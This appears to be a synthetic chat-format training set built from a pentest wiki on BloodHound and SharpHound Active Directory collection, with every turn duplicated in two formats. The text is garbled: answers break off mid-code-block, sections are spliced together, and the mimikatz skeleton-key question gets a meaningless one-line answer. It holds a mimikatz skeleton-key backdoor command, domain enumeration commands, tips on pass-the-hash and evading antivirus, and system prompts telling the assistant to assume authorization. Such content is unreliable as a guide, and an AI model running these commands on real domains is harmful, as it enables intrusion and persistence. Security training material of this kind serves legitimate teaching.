[User] What does this command do: `mimikatz "privilege::debug" "misc::skeleton"`?

[Assistant] This command is used for skeleton key - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `mimikatz "privilege::debug" "misc::skeleton"`?

Response: This command is used for skeleton key - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe BloodHound ⚙ - Theory in the context of penetration testing

[Assistant] BloodHound (Javascript webapp, compiled with Electron, uses Neo4j as graph DBMS) is an awesome tool that allows mapping of relationships within Active Directory environments. It mostly uses Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe BloodHound ⚙ - Theory in the context of penetration testing

Response: BloodHound (Javascript webapp, compiled with Electron, uses Neo4j as graph DBMS) is an awesome tool that allows mapping of relationships within Active Directory environments. It mostly uses Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on BloodHound ⚙ - Theory

[Assistant] BloodHound (Javascript webapp, compiled with Electron, uses Neo4j as graph DBMS) is an awesome tool that allows mapping of relationships within Active Directory environments. It mostly uses Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on BloodHound ⚙ - Theory

Response: BloodHound (Javascript webapp, compiled with Electron, uses Neo4j as graph DBMS) is an awesome tool that allows mapping of relationships within Active Directory environments. It mostly uses Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of BloodHound ⚙ - Collection

[Assistant]
BloodHound needs to be fed JSON files containing info on the objects and relationships within the AD domain. This information are obtained with collectors (also called ingestors). The best way of doing this is using the official SharpHound (C#) collector.

::: tabs

=== Windows

SharpHound (sources, builds) is designed targeting .Net 4.5. It can be used as a compiled executable.

It must be run from the context of a domain user, either directly through a logon or through another method such as runas (runas /netonly /user:$DOMAIN\$USER) (see Impersonation). Alternatively, SharpHound can be used with the LdapUsername and LdapPassword flags for that matter.

``bash
SharpHound.exe --collectionmethods All
`

> [!TIP]
> When running SharpHound from a runas /netonly-spawned command shell, you may need to let SharpHound know what username you are authenticating to other systems as with the OverrideUserName flag

The previous commands are basic but some options (i.e. Stealth and Loop) can be very useful depending on the context

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of BloodHound ⚙ - Collection

Response:
BloodHound needs to be fed JSON files containing info on the objects and relationships within the AD domain. This information are obtained with collectors (also called ingestors). The best way of doing this is using the official SharpHound (C#) collector.

::: tabs

=== Windows

SharpHound (sources, builds) is designed targeting .Net 4.5. It can be used as a compiled executable.

It must be run from the context of a domain user, either directly through a logon or through another method such as runas (runas /netonly /user:$DOMAIN\$USER) (see Impersonation). Alternatively, SharpHound can be used with the LdapUsername and LdapPassword flags for that matter.

``bash
SharpHound.exe --collectionmethods All
`

> [!TIP]
> When running SharpHound from a runas /netonly-spawned command shell, you may need to let SharpHound know what username you are authenticating to other systems as with the OverrideUserName flag

The previous commands are basic but some options (i.e. Stealth and Loop) can be very useful depending on the context

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for BloodHound ⚙ - Collection

[Assistant]
BloodHound needs to be fed JSON files containing info on the objects and relationships within the AD domain. This information are obtained with collectors (also called ingestors). The best way of doing this is using the official SharpHound (C#) collector.

::: tabs

=== Windows

SharpHound (sources, builds) is designed targeting .Net 4.5. It can be used as a compiled executable.

It must be run from the context of a domain user, either directly through a logon or through another method such as runas (runas /netonly /user:$DOMAIN\$USER) (see Impersonation). Alternatively, SharpHound can be used with the LdapUsername and LdapPassword flags for that matter.

``bash
SharpHound.exe --collectionmethods All
`

> [!TIP]
> When running SharpHound from a runas /netonly-spawned command shell, you may need to let SharpHound know what username you are authenticating to other systems as with the OverrideUserName flag

The previous commands are basic but some options (i.e. Stealth and Loop) can be very useful depending on the context

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for BloodHound ⚙ - Collection

Response:
BloodHound needs to be fed JSON files containing info on the objects and relationships within the AD domain. This information are obtained with collectors (also called ingestors). The best way of doing this is using the official SharpHound (C#) collector.

::: tabs

=== Windows

SharpHound (sources, builds) is designed targeting .Net 4.5. It can be used as a compiled executable.

It must be run from the context of a domain user, either directly through a logon or through another method such as runas (runas /netonly /user:$DOMAIN\$USER) (see Impersonation). Alternatively, SharpHound can be used with the LdapUsername and LdapPassword flags for that matter.

``bash
SharpHound.exe --collectionmethods All
`

> [!TIP]
> When running SharpHound from a runas /netonly-spawned command shell, you may need to let SharpHound know what username you are authenticating to other systems as with the OverrideUserName flag

The previous commands are basic but some options (i.e. Stealth and Loop) can be very useful depending on the context

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the SharpHound.exe command to bloodhound ⚙ - collection

[Assistant] SharpHound.exe --collectionmethods All

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the SharpHound.exe command to bloodhound ⚙ - collection

Response: SharpHound.exe --collectionmethods All


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on BloodHound ⚙ - Collection

[Assistant] SharpHound.exe --collectionmethods All

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on BloodHound ⚙ - Collection

Response: SharpHound.exe --collectionmethods All


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `SharpHound.exe --collectionmethods All`?

[Assistant] This command is used for bloodhound ⚙ - collection. Collection

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `SharpHound.exe --collectionmethods All`?

Response: This command is used for bloodhound ⚙ - collection. Collection


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain e.g. collect sessions every 10 minutes for 3 hours

[Assistant] SharpHound.exe --collectionmethods Session --Loop --loopduration 03:00:00 --loopinterval 00:10:00

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain e.g. collect sessions every 10 minutes for 3 hours

Response: SharpHound.exe --collectionmethods Session --Loop --loopduration 03:00:00 --loopinterval 00:10:00


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do e.g. collect sessions every 10 minutes for 3 hours

[Assistant] SharpHound.exe --collectionmethods Session --Loop --loopduration 03:00:00 --loopinterval 00:10:00

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do e.g. collect sessions every 10 minutes for 3 hours

Response: SharpHound.exe --collectionmethods Session --Loop --loopduration 03:00:00 --loopinterval 00:10:00


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Use LDAPS instead of plaintext LDAP

[Assistant]
SharpHound.exe --secureldap
``

More help on the CLI commands here.

> [!SUCCESS]
> Here are a few tips and tricks on the collection process
>
> * Testers can absolutely run SharpHound from a computer that is not enrolled in the AD domain, by running it in a domain user context (e.g. with runas, pass-the-hash or overpass-the-hash). This is useful when domain computers have antivirus or other protections preventing (or slowing) testers from using enumerate or exploitation tools.
> * When obtaining a foothold on an AD domain, testers should first run SharpHound with all collection methods, and then start a loop collection to enumerate more sessions.

=== UNIX-like

From UNIX-like system, a non-official (but very effective nonetheless) Python version can be used.

BloodHound.py is a Python ingestor for BloodHound.

`bash
bloodhound.py --zip -c All -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -dc "$DC_HOST" -ns "$DC_IP"
`

> [!TIP]
> This ingestor is not as powerful as the C# one. It lacks most GPO collection methods, but you can complete GPO collection with GPOHound. The good news is that it can do pass-the-hash. It becomes really useful when compromising a domain account's NT hash.

An alternative called RustHound (Rust) can be used as well.

`bash
rusthound --zip -d "$DOMAIN" -i "$DC_IP" -u "$USER@$DOMAIN" -p "$PASSWORD" -o "$OUTDIR"
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Use LDAPS instead of plaintext LDAP

Response:
SharpHound.exe --secureldap
``

More help on the CLI commands here.

> [!SUCCESS]
> Here are a few tips and tricks on the collection process
>
> * Testers can absolutely run SharpHound from a computer that is not enrolled in the AD domain, by running it in a domain user context (e.g. with runas, pass-the-hash or overpass-the-hash). This is useful when domain computers have antivirus or other protections preventing (or slowing) testers from using enumerate or exploitation tools.
> * When obtaining a foothold on an AD domain, testers should first run SharpHound with all collection methods, and then start a loop collection to enumerate more sessions.

=== UNIX-like

From UNIX-like system, a non-official (but very effective nonetheless) Python version can be used.

BloodHound.py is a Python ingestor for BloodHound.

`bash
bloodhound.py --zip -c All -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -dc "$DC_HOST" -ns "$DC_IP"
`

> [!TIP]
> This ingestor is not as powerful as the C# one. It lacks most GPO collection methods, but you can complete GPO collection with GPOHound. The good news is that it can do pass-the-hash. It becomes really useful when compromising a domain account's NT hash.

An alternative called RustHound (Rust) can be used as well.

`bash
rusthound --zip -d "$DOMAIN" -i "$DC_IP" -u "$USER@$DOMAIN" -p "$PASSWORD" -o "$OUTDIR"
``

:::